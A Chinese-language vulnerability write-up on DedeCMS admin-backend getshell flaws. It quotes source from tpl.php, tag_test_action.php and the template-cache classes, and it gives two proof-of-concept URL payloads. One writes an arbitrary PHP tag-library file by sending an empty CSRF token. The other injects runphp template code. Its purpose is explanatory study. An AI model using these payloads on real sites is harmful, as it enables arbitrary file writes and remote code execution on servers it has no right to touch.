0x01 前言

其实这个不算是漏洞,毕竟是后台的正常功能。但是出于学习的目的,就分析学习一下。

0x02 过程

1.任意文件上传

该问题存在 /dede/tpl.php 中,程序会经过 stripslashes() 处理 $content的内容。由于dedecms全局变量注册的特性,所以我们可以控制$content以及$filename的值

  1. <?php
  2. // ......
  3. else if($action=='savetagfile')
  4. {
  5. csrf_check();
  6. if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
  7. {
  8. ShowMsg('文件名不合法,不允许进行操作!', '-1');
  9. exit();
  10. }
  11. require_once(DEDEINC.'/oxwindow.class.php');
  12. $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
  13. $content = stripslashes($content);
  14. $truefile = DEDEINC.'/taglib/'.$filename;
  15. $fp = fopen($truefile, 'w');
  16. fwrite($fp, $content);
  17. fclose($fp);
  18. $msg = "
  19. <form name='form1' action='tag_test_action.php' target='blank' method='post'>
  20. <input type='hidden' name='dopost' value='make' />
  21. <b>测试标签:</b>(需要使用环境变量的不能在此测试)<br/>
  22. <textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea><br />
  23. <input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
  24. </form>
  25. ";
  26. $wintitle = "成功修改/创建文件!";
  27. $wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> &gt;&gt; 修改/新建标签";
  28. $win = new OxWindow();
  29. $win->AddTitle("修改/新建标签:");
  30. $win->AddMsgItem($msg);
  31. $winform = $win->GetWindow("hand","&nbsp;",false);
  32. $win->Display();
  33. exit();
  34. }

srf_check()函数在config.php中被定义。用户检测token,我们可以将token设置为空来绕过

<?php 
function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

通过对问题的分析,我们可以构造出payload
http://localhost/dedecms/dede/tpl.php?action=savetagfile&filename=test123456.lib.php&content=<?php phpinfo();?>&token=

2.任意代码注入

Payload:
http://localhost/dedecms/dede/tag_test_action.php?url=a&token=&partcode={dede:test%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:test};{/dede:test})
问题存在于 dede/tag_test_action.php 中,程序首先会经过 csrf_check()函数,上面讲过,可以设置为空绕过。而在文件中的 $partcode 是我们可以控制的

<?php
/**
 * 标签测试操作
 *
 * @version        $Id: tag_test_action.php 1 23:07 2010年7月20日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/config.php");
CheckPurview('temp_Test');
require_once(DEDEINC."/arc.partview.class.php");
csrf_check();
if(empty($partcode))
{
    ShowMsg('错误请求','javascript:;');
    exit;
}
$partcode = stripslashes($partcode);

if(empty($typeid)) $typeid = 0;
if(empty($showsource)) $showsource = "";

if($typeid>0) $pv = new PartView($typeid);
else $pv = new PartView();

$pv->SetTemplet($partcode, "string");
if( $showsource == "" || $showsource == "yes" )
{
    echo "模板代码:";
    echo "<span style='color:#ff0000;'><pre>" .dede_htmlspecialchars($partcode)."</pre></span>";
    echo "结果:<hr size='1' width='100%'>";
}
$pv->Display();

由于我们的typeid为空,所以程序会进入new PartView();我们跟进去看看

<?php
    function __construct($typeid=0,$needtypelink=TRUE)
    {
        global $_sys_globals,$ftp;
        $this->TypeID = $typeid;
        $this->dsql = $GLOBALS['dsql'];
        $this->dtp = new DedeTagParse();
        $this->dtp->SetNameSpace("dede","{","}");
        $this->dtp->SetRefObj($this);
        $this->ftp = &$ftp;
        $this->remoteDir = '';

        if($needtypelink)
        {
            $this->TypeLink = new TypeLink($typeid);
            if(is_array($this->TypeLink->TypeInfos))
            {
                foreach($this->TypeLink->TypeInfos as $k=>$v)
                {
                    if(preg_match("/[^0-9]/", $k))
                    {
                        $this->Fields[$k] = $v;
                    }
                }
            }
            $_sys_globals['curfile'] = 'partview';
            $_sys_globals['typename'] = $this->Fields['typename'];

            //设置环境变量
            SetSysEnv($this->TypeID,$this->Fields['typename'],0,'','partview');
        }
        SetSysEnv($this->TypeID,'',0,'','partview');
        $this->Fields['typeid'] = $this->TypeID;

        //设置一些全局参数的值
        foreach($GLOBALS['PubFields'] as $k=>$v)
        {
            $this->Fields[$k] = $v;
        }
    }

    //php4构造函数
    function PartView($typeid=0,$needtypelink=TRUE)
    {
        $this->__construct($typeid,$needtypelink);
    }

该函数实例化了一个DedeTagParse对象,该类用户定义dede标签格式

<?php
class DedeTagParse
{
    var $NameSpace = 'dede';   //标记的名字空间
    var $TagStartWord = '{';   //标记起始
    var $TagEndWord = '}';     //标记结束
    var $TagMaxLen = 64;       //标记名称的最大值
    var $CharToLow = TRUE;     // TRUE表示对属性和标记名称不区分大小写
    var $IsCache = FALSE;      //是否使用缓冲
    var $TempMkTime = 0;
    var $CacheFile = '';
    var $SourceString = '';    //模板字符串
    var $CTags = array();           //标记集合
    var $Count = -1;           //$Tags标记个数
    var $refObj = '';          //引用当前模板类的对象
    var $taghashfile = '';

    function __construct()
    {
        if(!isset($GLOBALS['cfg_tplcache']))
        {
            $GLOBALS['cfg_tplcache'] = 'N';
        }
        if($GLOBALS['cfg_tplcache']=='Y')
        {
            $this->IsCache = TRUE;
        }
        else
        {
            $this->IsCache = FALSE;
        }
        if ( DEDE_ENVIRONMENT == 'development' )
        {
            $this->IsCache = FALSE;
        }
        $this->NameSpace = 'dede';
        $this->TagStartWord = '{';
        $this->TagEndWord = '}';
        $this->TagMaxLen = 64;
        $this->CharToLow = TRUE;
        $this->SourceString = '';
        $this->CTags = array();
        $this->Count = -1;
        $this->TempMkTime = 0;
        $this->CacheFile = '';
    }

    function DedeTagParse()
    {
        $this->__construct();
    }

继续看 dede/tag_test_action.php,程序调用了 SetTemplet()函数,并将我们可以控制的$partcode当作参数传入。我们跟进 SetTemplet()函数看看.

<?php 
/**
     *  设置要解析的模板
     *
     * @access    public
     * @param     string  $temp  模板
     * @param     string  $stype  设置类型
     * @return    string
     */
    function SetTemplet($temp,$stype="file")
    {
        if($stype=="string")
        {
            $this->dtp->LoadSource($temp);
        }
        else
        {
            $this->dtp->LoadTemplet($temp);
        }
        if($this->TypeID > 0)
        {
            $this->Fields['position'] = $this->TypeLink->GetPositionLink(TRUE);
            $this->Fields['title'] = $this->TypeLink->GetPositionLink(false);
        }
        $this->ParseTemplet();
    }

我们调用SetTemplet函数的时候已经传入$stype==”string”,跟进LoadSource看看

<?php
    function LoadSource($str)
    {
        /*
        $this->SetDefault();
        $this->SourceString = $str;
        $this->IsCache = FALSE;
        $this->ParseTemplet();
        */
        //优化模板字符串存取读取方式
        $this->taghashfile = $filename = DEDEDATA.'/tplcache/'.md5($str).'.inc';
        if( !is_file($filename) )
        {
            file_put_contents($filename, $str);
        }
        $this->LoadTemplate($filename);
    }

LoadSource方法会帮我们生成一个inc文件并将我们的内容写入,这里的$str其实就是我们的$partcode参数,紧接着进入了LoadTemplate函数

<?php
    /**
     *  载入模板文件
     *
     * @access    public
     * @param     string   $filename  文件名称
     * @return    string
     */
    function LoadTemplate($filename)
    {
        $this->SetDefault();
        if(!file_exists($filename))
        {
            $this->SourceString = " $filename Not Found! ";
            $this->ParseTemplet();
        }
        else
        {
            $fp = @fopen($filename, "r");
            while($line = fgets($fp,1024))
            {
                $this->SourceString .= $line;
            }
            fclose($fp);
            if($this->LoadCache($filename))
            {
                return '';
            }
            else
            {
                $this->ParseTemplet();
            }
        }
    }

该函数会首先调用了SetDefault进行了一些初始化操作,紧接着将$filename文件的内存传入$this->SourceString,这里的$this->SourceString其实就是我们传入的内容。然后又调用了LoadCache函数

<?php
function LoadCache($filename)
    {
        global $cfg_tplcache,$cfg_tplcache_dir;
        if(!$this->IsCache)
        {
            return FALSE;
        }
        $cdir = dirname($filename);
        $cachedir = DEDEROOT.$cfg_tplcache_dir;
        $ckfile = str_replace($cdir,'',$filename).substr(md5($filename),0,16).'.inc';
        $ckfullfile = $cachedir.'/'.$ckfile;
        $ckfullfile_t = $cachedir.'/'.$ckfile.'.txt';
        $this->CacheFile = $ckfullfile;
        $this->TempMkTime = filemtime($filename);
        if(!file_exists($ckfullfile)||!file_exists($ckfullfile_t))
        {
            return FALSE;
        }

        //检测模板最后更新时间
        $fp = fopen($ckfullfile_t,'r');
        $time_info = trim(fgets($fp,64));
        fclose($fp);
        if($time_info != $this->TempMkTime)
        {
            return FALSE;
        }

        //引入缓冲数组
        include($this->CacheFile);
        $errmsg = '';

        //把缓冲数组内容读入类
        if( isset($z) && is_array($z) )
        {
            foreach($z as $k=>$v)
            {
                $this->Count++;
                $ctag = new DedeTAg();
                $ctag->CAttribute = new DedeAttribute();
                $ctag->IsReplace = FALSE;
                $ctag->TagName = $v[0];
                $ctag->InnerText = $v[1];
                $ctag->StartPos = $v[2];
                $ctag->EndPos = $v[3];
                $ctag->TagValue = '';
                $ctag->TagID = $k;
                if(isset($v[4]) && is_array($v[4]))
                {
                    $i = 0;
                    $ctag->CAttribute->Items = array();
                    foreach($v[4] as $k=>$v)
                    {
                        $ctag->CAttribute->Count++;
                        $ctag->CAttribute->Items[$k]=$v;
                    }
                }
                $this->CTags[$this->Count] = $ctag;
            }
        }
        else
        {
            //模板没有缓冲数组
            $this->CTags = '';
            $this->Count = -1;
        }
        return TRUE;
    }

该函数会将 $this->CacheFile设置为绝对路径,文件内容是我们刚刚传入的值,而$this->TempMkTime的值为我们修改文件的时间戳。由于此时我们的文件还不存在,所以会返回false。此时程序进入了else语句,调用了$this->ParseTemplet();跟进去瞅瞅

<?php
    function ParseTemplet()
    {
        $TagStartWord = $this->TagStartWord;
        $TagEndWord = $this->TagEndWord;
        $sPos = 0; $ePos = 0;
        $FullTagStartWord =  $TagStartWord.$this->NameSpace.":";
        $sTagEndWord =  $TagStartWord."/".$this->NameSpace.":";
        $eTagEndWord = "/".$TagEndWord;
        $tsLen = strlen($FullTagStartWord);
        $sourceLen=strlen($this->SourceString);

        if( $sourceLen <= ($tsLen + 3) )
        {
            return;
        }
        $cAtt = new DedeAttributeParse();
        $cAtt->charToLow = $this->CharToLow;

        //遍历模板字符串,请取标记及其属性信息
        //太长了,不想打进去
              if($this->IsCache)
        {
            $this->SaveCache();
        }
    }

此时的IsCache为true,所以会调用SaveCache(),该函数的功能是写一些文件。写入的信息是我们传入的值的一些信息

<?php
    /**
     *  写入缓存
     *
     * @access    public
     * @param     string
     * @return    string
     */
    function SaveCache()
    {
        $fp = fopen($this->CacheFile.'.txt',"w");
        fwrite($fp,$this->TempMkTime."\n");
        fclose($fp);
        $fp = fopen($this->CacheFile,"w");
        flock($fp,3);
        fwrite($fp,'<'.'?php'."\r\n");
        $errmsg = '';
        if(is_array($this->CTags))
        {
            foreach($this->CTags as $tid=>$ctag)
            {
                $arrayValue = 'Array("'.$ctag->TagName.'",';
                if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) {
                    fclose($fp);
                    @unlink($this->taghashfile);
                    @unlink($this->CacheFile);
                    @unlink($this->CacheFile.'.txt');
                    die($errmsg);
                }
                $arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"';
                $arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});";
                fwrite($fp,"\$z[$tid]={$arrayValue}\n");
                if(is_array($ctag->CAttribute->Items))
                {
                    fwrite($fp,"\$z[$tid][4]=array();\n");
                    foreach($ctag->CAttribute->Items as $k=>$v)
                    {
                        $v = str_replace("\\","\\\\",$v);
                        $v = str_replace('"',"\\".'"',$v);
                        $v = str_replace('$','\$',$v);
                        $k = trim(str_replace("'","",$k));
                        if($k=="")
                        {
                            continue;
                        }
                        if($k!='tagname')
                        {
                            fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n");
                        }
                    }
                }
            }
        }
        fwrite($fp,"\n".'?'.'>');
        fclose($fp);
    }

image.pngimage.png
下面就不一一分析了,可以参考https://mochazz.github.io/2018/03/29/dedecms%E6%9C%80%E6%96%B0%E5%90%8E%E5%8F%B0getshell/的文章